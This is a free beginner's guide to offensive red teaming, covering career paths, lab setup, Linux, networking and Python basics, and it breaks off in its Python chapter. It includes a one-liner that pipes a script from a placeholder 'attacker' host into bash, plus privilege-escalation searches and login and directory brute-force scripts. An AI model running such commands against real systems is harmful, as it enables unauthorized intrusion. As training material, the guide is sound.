



FOUNDATIONS OF OFFENSIVE RED TEAMING

The Complete Beginner's Guide to Red Team Operations

Exclusive — First Time Completely Free on RedTeamGarage (RTG)

Author: Red Team Garage (RTG) | Version: v1.0 | License: Free for Community Use

About This Guide

Welcome to **Foundations of Offensive Red Teaming** — the most comprehensive free beginner's guide ever released by Red Team Garage (RTG). This guide takes you from absolute zero to having the foundational knowledge needed to begin your journey as an offensive security professional.

This guide is designed for:

- ◆ Complete beginners who want to enter the offensive security / red teaming field
- ◆ IT professionals transitioning into cybersecurity
- ◆ Students preparing for certifications like OSCP, CEH, or eJPT
- ◆ Anyone curious about how hackers think and operate

This is an **RTG exclusive** — first time released completely free for the community. Share it with anyone who wants to start their offensive security journey.

WARNING

DISCLAIMER: This guide is intended for authorized security testing and educational purposes only. Always obtain proper written authorization before testing any systems. Unauthorized access to computer systems is illegal. Red Team Garage does not condone any illegal activities.

TABLE OF CONTENTS

- 01** Chapter 1: What is Red Teaming? — VAPT vs Pentest vs Red Team, MITRE ATT&CK, Team Roles
- 02** Chapter 2: Career Roadmap & Certifications — From Beginner to Senior Operator
- 03** Chapter 3: Setting Up Your Hacking Lab — VMS, Kali, AD Lab, Best Practices
- 04** Chapter 4: Introduction to the Linux Terminal — Commands, Permissions, Text Processing
- 05** Chapter 5: Introduction to Networking — IPs, Ports, Protocols, DNS, HTTP, OSI Model
- 06** Chapter 6: Introduction to Python for Hackers — Scripting, Port Scanner, HTTP Requests
- 07** Chapter 7: The Hacker Methodology — Recon, Scanning, Exploitation, Post-Ex, Reporting
- 08** Chapter 8: Your First Hack — Step-by-Step Walkthrough, 30-Day Plan, Essential Resources

Chapter 1: What is Red Teaming?

Red Teaming is the practice of simulating real-world adversarial attacks against an organization to test its people, processes, and technology. Unlike traditional security assessments, red teaming is goal-oriented — the objective isn't to find every vulnerability, but to achieve a specific mission (steal data, access a critical system, compromise the CEO's email) using any means necessary, just like a real attacker would.

1.1 The Red Team Mindset

A red teamer thinks differently from a traditional security tester. You're not checking boxes or running compliance scans — you're thinking like a criminal, an APT group, or a nation-state adversary. You ask: 'How would I actually break into this organization if I wanted to?'

- ◆ **Adversarial Thinking:** You assume the role of a real threat actor. Your goal is to achieve objectives, not just find vulnerabilities.
- ◆ **Creative Problem Solving:** When one path is blocked, you find another. Real attackers don't give up — they pivot, adapt, and find the path of least resistance.
- ◆ **Patience & Persistence:** Real-world attacks take weeks or months. Red teamers understand that slow, methodical operations succeed where rushed ones fail.
- ◆ **OPSEC Awareness:** You operate with stealth. Getting caught means the exercise fails — just like it would for a real adversary.
- ◆ **Continuous Learning:** The threat landscape evolves daily. Red teamers constantly learn new techniques, tools, and attack vectors.

PRO TIP

The best red teamers are curious by nature. They take things apart to understand how they work, question assumptions, and never accept 'that's just how it is' as an answer.

1.2 VAPT vs Penetration Testing vs Red Teaming

These terms are often confused, but they represent fundamentally different approaches to security testing. Understanding the differences is critical for choosing the right engagement type and building the right career path.

Aspect	VAPT	Penetration Testing	Red Teaming
Objective	Find and classify all known vulnerabilities	Exploit vulnerabilities to demonstrate real impact	Simulate a real adversary to test overall security posture
Approach	Automated scanning + manual validation	Manual exploitation with defined scope	Goal-oriented, no rules, full adversary simulation
Scope	Broad — scan everything in range	Defined — specific systems or applications	Open-ended — entire organization is fair game
Stealth	None — scanning is expected and noisy	Low — exploitation may trigger alerts	Critical — avoid detection at all costs
Duration	Days to 1-2 weeks	1-4 weeks	2-6 months (or ongoing)
Social Eng.	Not included	Sometimes included (limited)	Core component — phishing, vishing, physical
Physical	Not included	Rarely included	Often included — tailgating, lock picking, USB drops
Who Knows	IT team fully aware	IT/Security team aware	Only top management (2-3 people) — Blue team is NOT informed
Blue Team	Not tested	Minimally tested	Primary target — tests detection & response capabilities
Output	Vulnerability list with severity ratings	Exploitation report with proof of impact	Narrative attack story + defense gaps + recommendations
Tools	Nessus, Qualys, OpenVAS, Burp Scanner	Nmap, Burp, Metasploit, manual techniques	Custom C2, OSINT, social engineering, physical tools, custom malware
Compliance	Often compliance-driven (PCI-DSS, ISO 27001)	May satisfy compliance requirements	Beyond compliance — tests real-world readiness
Cost	\$5K - \$25K	\$15K - \$80K	\$50K - \$500K+

1.3 The Traditional VAPT Approach

Vulnerability Assessment and Penetration Testing (VAPT) is the most common type of security assessment. It combines automated scanning with manual testing to identify vulnerabilities. While valuable, VAPT has limitations that red teaming addresses.

VAPT Workflow

- ◆ **Phase 1 — Scoping:** Define target systems, IP ranges, and applications. Rules of engagement are set. IT team is fully informed.
- ◆ **Phase 2 — Vulnerability Assessment:** Run automated scanners (Nessus, Qualys, OpenVAS) to identify known vulnerabilities. Generate initial findings.
- ◆ **Phase 3 — Manual Validation:** Verify scanner findings manually. Eliminate false positives. Attempt basic exploitation to confirm impact.
- ◆ **Phase 4 — Reporting:** Deliver vulnerability report with CVSS scores, risk ratings, remediation recommendations, and executive summary.

VAPT Limitations

- ◆ Doesn't test detection and response capabilities (Blue Team isn't challenged)
- ◆ Doesn't simulate real-world attack chains (multi-step, multi-vector attacks)
- ◆ Doesn't include social engineering, physical security, or human factors
- ◆ Scope is limited — doesn't test 'what if an attacker has months of patience?'
- ◆ Compliance-focused — checks boxes but may miss real-world attack paths

1.4 The Red Team Approach

Red teaming flips the script. Instead of finding all vulnerabilities, the red team is given a mission objective and must achieve it by any means necessary — just like a real adversary.

Red Team Workflow

- ◆ **Phase 1 — Threat Intelligence:** Research relevant threat actors targeting the client's industry. Model your TTPs (Tactics, Techniques, Procedures) after real APT groups.
- ◆ **Phase 2 — Reconnaissance:** Weeks of passive and active recon. OSINT, social media, employee profiling, technology stack identification, physical reconnaissance.
- ◆ **Phase 3 — Weaponization:** Build custom payloads, phishing campaigns, and attack infrastructure. Set up C2 servers, redirectors, and domain fronting.
- ◆ **Phase 4 — Initial Access:** Phishing, vishing, physical intrusion, supply chain attacks, exploiting external-facing services — whatever works first.
- ◆ **Phase 5 — Post-Exploitation:** Persistence, privilege escalation, lateral movement, credential harvesting — all while evading the Blue Team.

- ◆ **Phase 6 — Mission Objective:** Achieve the defined goal — exfiltrate data, access critical systems, demonstrate business impact.
- ◆ **Phase 7 — Reporting & Debrief:** Deliver a narrative-style report telling the complete attack story. Conduct Purple Team debrief with defenders.

WARNING

Red team engagements require explicit written authorization (Rules of Engagement / ROE) signed by authorized executives. Operating without proper authorization is illegal — period.

1.5 The MITRE ATT&CK Framework

MITRE ATT&CK is the industry-standard knowledge base of adversary tactics and techniques. It maps the complete attack lifecycle and is used by both red and blue teams to communicate and measure coverage.

ATT&CK Tactics (Attack Lifecycle)

- ◆ **Reconnaissance:** Gathering information about the target
- ◆ **Resource Development:** Building attack infrastructure and tools
- ◆ **Initial Access:** Getting the first foothold (phishing, exploitation, supply chain)
- ◆ **Execution:** Running malicious code on the target
- ◆ **Persistence:** Maintaining access across reboots and credential changes
- ◆ **Privilege Escalation:** Gaining higher-level permissions
- ◆ **Defense Evasion:** Avoiding detection by security tools and analysts
- ◆ **Credential Access:** Stealing passwords, hashes, and tokens
- ◆ **Discovery:** Mapping the internal environment
- ◆ **Lateral Movement:** Moving between systems in the network
- ◆ **Collection:** Gathering data relevant to the objective
- ◆ **Command & Control:** Communicating with compromised systems
- ◆ **Exfiltration:** Stealing data out of the network
- ◆ **Impact:** Disruption, destruction, or manipulation of systems/data

PRO TIP

Map every technique you use during an engagement to MITRE ATT&CK. This helps clients understand coverage gaps and gives Blue Teams specific detection points to improve.

1.6 Red Team Roles & Team Structure

- ◆ **Red Team Lead / Operator:** Plans and executes the engagement. 5-15+ years experience. Manages the team, defines objectives, and owns the final report.
- ◆ **Infrastructure Operator:** Builds and manages C2 infrastructure, redirectors, phishing platforms, and payload delivery systems.
- ◆ **Social Engineer:** Specializes in phishing, vishing, physical intrusion, and human manipulation techniques.
- ◆ **Exploit Developer:** Writes custom exploits, develops payload loaders, bypasses security controls (AMSI, EDR, AV).
- ◆ **Purple Team Liaison:** Bridges red and blue teams during debrief. Translates attack findings into actionable defensive improvements.

Chapter 2: Career Roadmap & Certifications

Breaking into offensive security requires a structured approach. Here's a realistic roadmap from absolute beginner to senior red team operator, along with the certifications that matter at each stage.

2.1 Career Stages

Stage 1 — Foundation (0-1 Year)

Build core skills in networking, Linux, Windows, and basic scripting. You don't need to be an expert — just comfortable enough to navigate systems confidently.

- ◆ **Skills:** Networking fundamentals, Linux CLI, Windows administration, basic Python/Bash scripting
- ◆ **Activities:** Complete TryHackMe beginner paths, OverTheWire Bandit, build a home lab
- ◆ **Certifications:** CompTIA Security+, CompTIA Network+, eJPT (INE)
- ◆ **Goal:** Get comfortable with command lines, understand how networks work, start thinking about security

Stage 2 — Junior Pentester (1-3 Years)

Start performing actual security assessments. Learn exploitation, web application testing, and basic Active Directory attacks.

- ◆ **Skills:** Nmap, Burp Suite, Metasploit, web app testing (OWASP Top 10), basic AD attacks, report writing
- ◆ **Activities:** Hack The Box (50+ machines), bug bounties, CTF competitions, assist on pentest engagements
- ◆ **Certifications:** OSCP (OffSec), PNPT (TCM Security), CEH (EC-Council)
- ◆ **Goal:** Land your first pentest/security role. Build a portfolio of writeups and findings.

Stage 3 — Senior Pentester / Junior Red Teamer (3-5 Years)

Transition from finding vulnerabilities to simulating real attacks. Learn C2 frameworks, evasion techniques, advanced AD attacks, and social engineering.

- ◆ **Skills:** C2 frameworks (Cobalt Strike, Sliver, Havoc), AV/EDR evasion, advanced AD (delegation, trusts, ADCS), phishing infrastructure
- ◆ **Activities:** Lead pentest engagements, develop custom tools, contribute to security research, participate in red team exercises
- ◆ **Certifications:** OSEP (OffSec), CRT0 (Zero-Point Security), CRTP (Pentester Academy)
- ◆ **Goal:** Lead engagements independently. Start building custom tooling and evasion techniques.

Stage 4 — Senior Red Team Operator (5-10+ Years)

You're now a seasoned operator. You lead complex, multi-month engagements, develop advanced tradecraft, mentor juniors, and contribute to the community.

- ◆ **Skills:** Custom malware development, exploit development, advanced evasion (direct syscalls, ETW bypass), cloud security (AWS/Azure/GCP), physical security testing
- ◆ **Activities:** Lead red team programs, develop internal tooling, speak at conferences, publish research, mentor team members
- ◆ **Certifications:** OSCE3 (OffSec), GXPN (SANS), CRTL (Zero-Point Security)
- ◆ **Goal:** Define red team methodology, build programs from scratch, influence organizational security strategy.

2.2 Certification Roadmap

Certification	Provider	Level	Focus Area	Exam Type
eJPT	INE	Beginner	Pentest fundamentals	Practical (lab)
CEH	EC-Council	Beginner	Security concepts	MCQ + Practical
PNPT	TCM Security	Intermediate	Practical pentesting	Practical (5 days)
OSCP	OffSec	Intermediate	Pentest (hands-on)	Practical (24hr)
CRTP	Altered Security	Intermediate	Active Directory	Practical (24hr)
CRT0	Zero-Point Sec	Advanced	Red Team Ops + C2	Practical (48hr)
OSEP	OffSec	Advanced	Evasion + advanced pentest	Practical (48hr)
OSCE / OSCE3	OffSec	Expert	Exploit dev + web + evasion	Practical (48hr)
GXPN	SANS/GIAC	Expert	Advanced pentest + exploit	Written + Practical

PRO TIP

OSCP is the gold-standard entry certification for offensive security. Most job postings require or prefer it. Invest in OSCP early — it opens doors across the industry.

2.3 Free Learning Resources

- ◆ **TryHackMe (tryhackme.com)**: Guided learning paths for beginners. Free tier available. Best starting point for absolute beginners.
- ◆ **Hack The Box (hackthebox.com)**: Machines and challenges ranging from Easy to Insane. Free tier available. Industry-recognized platform.
- ◆ **OverTheWire (overthewire.org)**: Wargames for Linux skills (Bandit, Natas, Leviathan). Completely free.
- ◆ **PortSwigger Web Security Academy**: The best free web security training. Covers all OWASP Top 10 with interactive labs.
- ◆ **CyberDefenders (cyberdefenders.org)**: Blue team challenges that help red teamers understand defensive detection.
- ◆ **VulnHub (vulnhub.com)**: Free downloadable vulnerable VMs for offline practice.
- ◆ **HackTricks (hacktricks.xyz)**: Comprehensive free reference for pentesting and red teaming techniques.
- ◆ **Red Team Garage (RTG)**: Community guides, challenges, and discussions. You're already here!

Chapter 3: Setting Up Your Hacking Lab

A personal lab is the single most important investment for learning offensive security. It gives you a safe, legal environment to practice attacks, break things, and learn from mistakes without real-world consequences.

3.1 Hardware Requirements

- ◆ **Minimum:** 16GB RAM, 256GB SSD, quad-core CPU (Intel i5/Ryzen 5 or above). This runs 2-3 VMs comfortably.
- ◆ **Recommended:** 32GB RAM, 512GB+ SSD, 6-8 core CPU. This runs a full AD lab (DC + 2 workstations + Kali) smoothly.
- ◆ **Ideal:** 64GB RAM, 1TB+ NVMe SSD. Run complex labs with multiple networks, dozens of VMs, and nested virtualization.

3.2 Virtualization Software

- ◆ **VMware Workstation Pro:** Industry standard. Best performance, snapshot management, and networking options. Now free for personal use!
- ◆ **VirtualBox:** Free and open-source. Good for beginners. Slightly less performant than VMware but fully capable.
- ◆ **Proxmox:** Free type-1 hypervisor. Best for dedicated lab servers. Runs VMs at near-native performance.

3.3 Attacker Machine — Kali Linux / Parrot OS

Your primary attack machine comes pre-loaded with hundreds of security tools. Kali Linux is the industry standard, Parrot OS is a lighter alternative.

COMMAND / CODE

```
# Download Kali Linux VM (pre-built):  
# https://www.kali.org/get-kali/#kali-virtual-machines  
  
# Default credentials: kali / kali  
  
# First things after installation:  
sudo apt update && sudo apt upgrade -y  
sudo apt install -y seclists gobuster feroxbuster bloodhound neo4j  
pip3 install bloodhound impacket crackmapexec  
  
# Install additional tools:  
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest  
go install github.com/projectdiscovery/httpx/cmd/httpx@latest  
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest  
  
# Take a clean snapshot now!  
# VMware: VM > Snapshot > Take Snapshot  
# VirtualBox: Machine > Take Snapshot
```

3.4 Vulnerable Target Machines

These intentionally vulnerable machines give you legal targets to practice against:

- ◆ **Metasploitable 2/3:** Classic vulnerable Linux/Windows VMs with dozens of exploitable services
- ◆ **DVWA (Damn Vulnerable Web App):** Web application with configurable difficulty levels for OWASP Top 10 practice
- ◆ **VulnHub VMs:** Hundreds of free downloadable vulnerable VMs — Kioptrix, Mr. Robot, Stapler are great starters
- ◆ **HackTheBox / TryHackMe:** Cloud-based vulnerable machines accessible via VPN
- ◆ **DVCP (Damn Vulnerable Cloud Platform):** Practice cloud security (AWS/Azure misconfigurations)

3.5 Building an Active Directory Lab

An AD lab is essential for learning enterprise attacks. This is where 80%+ of real-world red team engagements take place.

COMMAND / CODE

```
# Minimum AD Lab Setup:

# 1. Windows Server 2019/2022 (Domain Controller)
#   - Install AD DS role via Server Manager
#   - Promote to Domain Controller
#   - Create domain: rtglab.local
#   - Create users, groups, OUs
#   - Add SPN accounts (for Kerberoasting practice)
#   - Set some accounts with "Do not require pre-auth" (AS-REP Roasting)
#   - Create misconfigured ACLs (GenericAll, WriteDACL)

# 2. Windows 10/11 Workstation(s) – Join to domain
#   - Install common software (Office, browsers)
#   - Create local admin accounts
#   - Enable WinRM: Enable-PSRemoting -Force

# 3. Networking
#   - All VMs on same virtual network (Host-Only or NAT)
#   - DC acts as DNS server for the domain
#   - Kali on the same network segment

# Automated Lab Builders (saves hours!):
# - GOAD (Game of Active Directory): Multi-domain vulnerable AD
# - DetectionLab: AD lab with ELK/Splunk for purple teaming
# - Vulnerable-AD (safebuffer): One-script vulnerable AD setup
```

3.6 Lab Best Practices

- ◆ **Take snapshots BEFORE testing:** Always snapshot VMs before running exploits. One click to restore if something breaks.
- ◆ **Isolate your lab network:** Use Host-Only networking to prevent lab traffic from reaching your real network.
- ◆ **Document everything:** Keep notes on lab setup, credentials, network layout. Use tools like Obsidian, CherryTree, or Notion.
- ◆ **Rebuild regularly:** Tear down and rebuild labs periodically. The setup process itself teaches valuable skills.
- ◆ **Start simple, add complexity:** Begin with Kali + 1 vulnerable VM. Add AD lab later. Don't overwhelm yourself.

WARNING

NEVER practice on systems you don't own or have explicit written authorization to test. Unauthorized access is a criminal offense in virtually every jurisdiction worldwide.

Chapter 4: Introduction to the Linux Terminal

The Linux terminal is your primary interface for offensive operations. You'll spend 90%+ of your time in a terminal during engagements. Mastering the command line isn't optional — it's the foundation everything else builds on.

4.1 Navigating the File System

```
COMMAND / CODE

pwd                # Print current directory (where am I?)
ls                 # List files in current directory
ls -la            # List all files including hidden, with details
ls -lah           # Human-readable file sizes
cd /etc            # Change directory to /etc
cd ..              # Go up one directory
cd ~               # Go to home directory
cd -               # Go to previous directory

# File operations
cp file.txt /tmp/  # Copy file
mv file.txt newname.txt # Rename/move file
rm file.txt        # Delete file
rm -rf directory/  # Delete directory and contents (CAREFUL!)
mkdir -p /tmp/test/sub # Create directory (and parents)
touch newfile.txt   # Create empty file
cat file.txt        # Display file contents
less file.txt       # View file with scrolling (q to quit)
head -20 file.txt   # First 20 lines
tail -20 file.txt   # Last 20 lines
tail -f /var/log/syslog # Follow log file in real-time
```

4.2 File Permissions

```
COMMAND / CODE

# Understanding permissions: rwxrwxrwx
# r=read(4) w=write(2) x=execute(1)
# [owner][group][others]

ls -la file.txt      # View permissions
chmod 755 script.sh  # rwxr-xr-x (owner full, others read+exec)
chmod 600 id_rsa      # rw----- (owner read+write only – SSH keys!)
chmod +x script.sh    # Add execute permission
chown user:group file # Change file owner

# Finding permission issues (privesc!):
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -writable -type f 2>/dev/null    # World-writable files
find / -writable -type d 2>/dev/null     # World-writable directories
```

4.3 Text Processing — grep, awk, sed, cut

Text processing is how you extract useful information from command output. These tools are essential for parsing scan results, log files, and enumeration output.

COMMAND / CODE

```
# grep - search for patterns
grep "password" file.txt           # Find lines containing "password"
grep -r "password" /etc/ 2>/dev/null # Recursive search in /etc
grep -i "admin" file.txt           # Case-insensitive search
grep -v "comment" file.txt         # Exclude lines matching pattern
grep -c "error" /var/log/syslog     # Count matching lines
grep -E "pass|pwd|token" file.txt   # Multiple patterns (regex)

# cut - extract fields
cut -d':' -f1 /etc/passwd           # Usernames from passwd file
cut -d',' -f2,3 data.csv            # Extract columns 2,3 from CSV

# awk - powerful text processing
awk '{print $1}' file.txt           # Print first column
awk -F':' '{print $1,$3}' /etc/passwd # Print username and UID
awk '$3 > 999' /etc/passwd          # Filter by condition
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn # Top IPs

# sed - stream editor (find and replace)
sed 's/old/new/g' file.txt          # Replace all occurrences
sed -i 's/old/new/g' file.txt       # In-place replacement
sed -n '10,20p' file.txt            # Print lines 10-20

# sort & uniq - organize data
sort file.txt                       # Sort alphabetically
sort -n file.txt                    # Sort numerically
sort -u file.txt                    # Sort and remove duplicates
sort file.txt | uniq -c | sort -rn  # Count occurrences, most first
```

PRO TIP

Learn to chain these tools with pipes (`|`). Example: `cat /etc/passwd | grep '/bin/bash' | cut -d':' -f1` — extracts all users with bash shell access.

4.4 I/O Redirection & Piping

COMMAND / CODE

```
# Piping – send output of one command to another
cat /etc/passwd | grep "root"          # Filter passwd for root
nmap -sn 10.10.10.0/24 | grep "up"     # Filter live hosts
cat users.txt | sort -u | wc -l        # Count unique users

# Output redirection
echo "hello" > file.txt                # Write to file (overwrite)
echo "world" >> file.txt                # Append to file
command 2>/dev/null                   # Suppress errors
command > output.txt 2>&1              # Redirect stdout + stderr
command &> both.txt                    # Same as above (shorthand)
command | tee output.txt               # Display AND save to file

# Input redirection
wc -l < file.txt                      # Count lines from file
mysql -u root < dump.sql               # Import SQL from file

# Useful patterns:
nmap -sS 10.10.10.5 -oN scan.txt 2>&1 | tee live_output.txt
# Saves to file AND shows real-time output
```

4.5 Process Management

COMMAND / CODE

```
# View processes
ps aux                                # All running processes
ps aux | grep "apache"                # Find specific process
top                                    # Real-time process monitor
htop                                   # Better process monitor (if available)

# Background / foreground
command &                             # Run in background
Ctrl+Z                               # Suspend current process
bg                                     # Resume in background
fg                                     # Bring to foreground
jobs                                   # List background jobs

# Kill processes
kill PID                              # Graceful termination
kill -9 PID                           # Force kill
killall processname                   # Kill by name
pkill -f "pattern"                    # Kill by pattern match

# Screen / tmux (persistent sessions – essential for engagements!)
tmux new -s recon                      # New named session
tmux attach -t recon                   # Reattach to session
tmux ls                                # List sessions

# Inside tmux:
# Ctrl+B, C = new window
# Ctrl+B, N = next window
# Ctrl+B, D = detach
```

4.6 Essential One-Liners for Beginners

COMMAND / CODE

```
# Download and execute a script
curl -s http://attacker/script.sh | bash

# Find all files modified in the last 24 hours
find / -mtime -1 -type f 2>/dev/null

# Extract all IPs from a file
grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt

# Simple web server (for file transfer)
python3 -m http.server 8080

# Compress and decompress
tar czf archive.tar.gz folder/      # Compress
tar xzf archive.tar.gz              # Decompress

# Check disk space
df -h                                # Filesystem usage
du -sh /var/log/                    # Directory size

# Watch a command output change
watch -n 5 'netstat -an | grep ESTABLISHED' # Refresh every 5 seconds
```

Chapter 5: Introduction to Networking for Beginners

Networking is the backbone of everything in offensive security. Every exploit, every scan, every lateral movement technique operates over a network. You don't need a CCNA — but you need to understand these fundamentals cold.

5.1 IP Addresses & Subnetting Basics

Every device on a network has an IP address. Understanding IP addressing helps you scope targets, identify network boundaries, and plan your attack path.

```
COMMAND / CODE

# IPv4 address: 4 octets, each 0-255
# Example: 192.168.1.100

# Private IP ranges (RFC 1918) — you'll see these in every internal engagement:
10.0.0.0      - 10.255.255.255  (10.0.0.0/8)      - Large enterprises
172.16.0.0    - 172.31.255.255  (172.16.0.0/12)   - Medium networks
192.168.0.0   - 192.168.255.255 (192.168.0.0/16) - Small networks/home

# Common subnet masks:
/24 = 255.255.255.0 = 254 usable hosts (most common LAN)
/16 = 255.255.0.0   = 65,534 hosts     (large internal networks)
/8  = 255.0.0.0      = 16 million hosts  (massive networks)
/32 = single host

# Localhost: 127.0.0.1 — always refers to "this machine"
# Broadcast: x.x.x.255 (for /24) — reaches all hosts on subnet
# Gateway: usually x.x.x.1 — the router
```

5.2 Ports & Protocols

Ports are like doors on a server — each service listens on a specific port. Knowing common ports helps you quickly identify what services are running on a target.

COMMAND / CODE

Must-know ports for red teamers:

Port 21	– FTP	(file transfer, often anonymous access)
Port 22	– SSH	(remote Linux access, tunneling)
Port 23	– Telnet	(plaintext remote access – easy creds)
Port 25	– SMTP	(email – user enumeration, relay)
Port 53	– DNS	(domain lookups, zone transfers, tunneling)
Port 80	– HTTP	(web servers – biggest attack surface)
Port 88	– Kerberos	(AD authentication – Kerberoasting)
Port 110	– POP3	(email retrieval)
Port 135	– MSRPC	(Windows RPC – enumeration)
Port 139	– NetBIOS	(legacy Windows networking)
Port 143	– IMAP	(email)
Port 389	– LDAP	(AD directory queries)
Port 443	– HTTPS	(encrypted web – still vulnerable!)
Port 445	– SMB	(Windows file sharing – HUGE attack surface)
Port 1433	– MSSQL	(Microsoft SQL Server)
Port 3306	– MySQL	(database)
Port 3389	– RDP	(Windows remote desktop)
Port 5432	– PostgreSQL	(database)
Port 5985	– WinRM	(PowerShell remoting – lateral movement)
Port 8080	– HTTP Alt	(web apps, proxies, admin panels)
Port 8443	– HTTPS Alt	(alternative HTTPS services)

PRO TIP

Memorize the top 20 ports above. When you see an Nmap scan result, you should instantly recognize what each open port means and what attacks are possible against it.

5.3 TCP vs UDP

Understanding the difference between TCP and UDP is fundamental to port scanning, exploitation, and network analysis.

COMMAND / CODE

```
# TCP (Transmission Control Protocol)
# - Connection-oriented (3-way handshake: SYN > SYN-ACK > ACK)
# - Reliable – guarantees delivery, ordering, error checking
# - Used by: HTTP, SSH, FTP, SMB, RDP, SMTP
# - Scanning: Fast and reliable (open ports respond to SYN)

# UDP (User Datagram Protocol)
# - Connectionless – fire and forget
# - Unreliable – no delivery guarantee, no ordering
# - Faster than TCP (less overhead)
# - Used by: DNS, DHCP, SNMP, TFTP, NTP, VPN (IKE)
# - Scanning: SLOW (open ports DON'T respond, closed ports send ICMP)

# Why this matters:
# - TCP scans are fast and reliable (nmap -sS)
# - UDP scans are slow but find critical services (nmap -sU)
# - Many admins forget about UDP services = misconfigurations
```

5.4 DNS — How Domain Names Work

COMMAND / CODE

```
# DNS translates human-readable names to IP addresses
# When you type "google.com":
# 1. Browser checks local cache
# 2. OS checks /etc/hosts (or C:\Windows\System32\drivers\etc\hosts)
# 3. Query goes to configured DNS server
# 4. DNS server recursively resolves: root > .com > google.com
# 5. IP address returned to browser

# DNS Record Types (important for recon):
# A      – Domain to IPv4 address
# AAAA   – Domain to IPv6 address
# CNAME  – Alias pointing to another domain
# MX     – Mail server for the domain
# NS     – Authoritative nameservers
# TXT    – Text records (SPF, DKIM, DMARC – email security info)
# SOA    – Start of Authority (zone metadata)
# PTR    – Reverse lookup (IP to domain)

# Quick DNS checks:
nslookup target.com          # Basic lookup
dig target.com MX +short     # Mail servers
dig target.com TXT           # Email security config (SPF/DMARC)
```

5.5 HTTP — How the Web Works

COMMAND / CODE

```
# HTTP is a request-response protocol:
# Client sends REQUEST --> Server sends RESPONSE

# HTTP Request structure:
# GET /login HTTP/1.1          <- Method + Path + Version
# Host: target.com             <- Target hostname
# User-Agent: Mozilla/5.0      <- Browser identification
# Cookie: session=abc123       <- Session token
# Authorization: Bearer xxx     <- API token

# HTTP Response structure:
# HTTP/1.1 200 OK              <- Status code
# Content-Type: text/html      <- Response type
# Set-Cookie: session=abc123    <- Sets cookie in browser

# Key Status Codes:
# 200 = OK (success)
# 301/302 = Redirect
# 403 = Forbidden (you can see it exists but can't access)
# 404 = Not Found
# 500 = Internal Server Error (might reveal useful info!)

# Try this:
curl -v http://target.com      # See full request/response headers
```

5.6 The OSI Model — Simplified

You don't need to memorize every OSI layer detail, but understanding which layer your attack operates at helps you choose the right tools and techniques.

- ◆ **Layer 7 (Application):** HTTP, DNS, FTP, SSH — where web attacks and application exploits happen
- ◆ **Layer 4 (Transport):** TCP/UDP — where port scanning operates
- ◆ **Layer 3 (Network):** IP, ICMP — where routing, ping sweeps, and IP spoofing happen
- ◆ **Layer 2 (Data Link):** ARP, MAC addresses — where ARP spoofing and VLAN hopping happen
- ◆ **Layer 1 (Physical):** Cables, WiFi — where physical access attacks happen

NOTE

For beginners, focus on Layers 3-7. Layer 2 attacks (ARP spoofing, VLAN hopping) become important when you start doing internal network engagements.

Chapter 6: Introduction to Python for Hackers

Python is the language of offensive security. Most exploit PoCs are written in Python, most automation tools use Python, and most security frameworks (Impacket, Scapy, pwntools) are Python libraries. You don't need to be a software engineer — you need enough Python to automate tasks, modify exploits, and build quick tools.

6.1 Python Basics — Variables, Strings, Lists

```
COMMAND / CODE

# Variables and types
target_ip = "10.10.10.5"
target_port = 445
is_vulnerable = True
open_ports = [22, 80, 443, 445, 3389]

# Strings
url = f"http://{target_ip}:{target_port}/admin" # f-string formatting
payload = "A" * 1000                          # Buffer overflow padding

# Lists
hosts = ["10.10.10.1", "10.10.10.2", "10.10.10.3"]
hosts.append("10.10.10.4") # Add to list
for host in hosts:         # Loop through list
    print(f"Scanning {host}")

# Dictionaries
credentials = {"admin": "password123", "root": "toor", "test": "test"}
for user, passwd in credentials.items():
    print(f"Trying {user}:{passwd}")

# Reading files
with open("usernames.txt", "r") as f:
    users = f.read().splitlines() # List of lines

# Writing files
with open("results.txt", "w") as f:
    f.write("Scan complete\n")
```

6.2 Your First Port Scanner

COMMAND / CODE

```
#!/usr/bin/env python3
import socket
import sys
from concurrent.futures import ThreadPoolExecutor

def scan_port(target, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((target, port))
        if result == 0:
            try:
                banner = sock.recv(1024).decode().strip()
            except:
                banner = "No banner"
            print(f"[+] Port {port} OPEN - {banner}")
        sock.close()
    except Exception as e:
        pass

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "10.10.10.5"
    print(f"[*] Scanning {target}...")

    # Scan top ports using threads (fast!)
    with ThreadPoolExecutor(max_workers=100) as executor:
        for port in range(1, 1025):
            executor.submit(scan_port, target, port)

    print("[*] Scan complete!")
```

6.3 Making HTTP Requests

COMMAND / CODE

```
#!/usr/bin/env python3
import requests

# GET request
response = requests.get("http://target.com")
print(f"Status: {response.status_code}")
print(f"Server: {response.headers.get('Server', 'Unknown')}")

# POST request (login brute-force example)
url = "http://target.com/login"
data = {"username": "admin", "password": "password123"}
response = requests.post(url, data=data)

if "Invalid" not in response.text:
    print(f"[+] Valid credentials found!")

# With cookies and headers
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
session.cookies.set("session", "abc123")
response = session.get("http://target.com/admin")

# Ignore SSL warnings (self-signed certs)
import urllib3
urllib3.disable_warnings()
response = requests.get("https://target.com", verify=False)

# Directory brute-force (basic)
with open("/usr/share/wordlists/dirb/common.txt") as f:
    for word in f.read().splitlines():
        url = f"http://target.com/{word}"
        r = requests.get(url, timeout=3)
        if r.status_code != 404:
            print(f"[+] Found: {url} ({r.status_code})")
```

6.4 Working with Subprocess & OS Commands

COMMAND / CODE

```
#!/usr/bin/env python3
import subprocess
import os

# Run a shell command and capture output
result = subprocess.run(["nmap", "-sn", "192.168.1.0/24"],
                        capture_output=True, text=True)
print(result.stdout)

# Run command through shell (for pipes)
result = subprocess.run("cat /etc/passwd | grep bash",
                        shell=True, capture_output=True, text=True)
live_users = result.stdout.splitlines()

# Check if tool exists
def tool_exists(tool):
    return subprocess.run(["which", tool],
                          capture_output=True).returncode == 0

if tool_exists("nmap"):
    print("[+] Nmap is available")
else:
    print("[-] Nmap not found - install it!")

# OS operations
os.makedirs("/tmp/loot", exist_ok=True)      # Create directory
os.path.exists("/etc/shadow")                # Check if file exists
os.listdir("/home/")                         # List directory
```

6.5 Essential Python Libraries for Hackers

- ◆ **requests:** HTTP library — web scraping, API interaction, brute-forcing
- ◆ **socket:** Low-level networking — port scanning, custom clients/servers
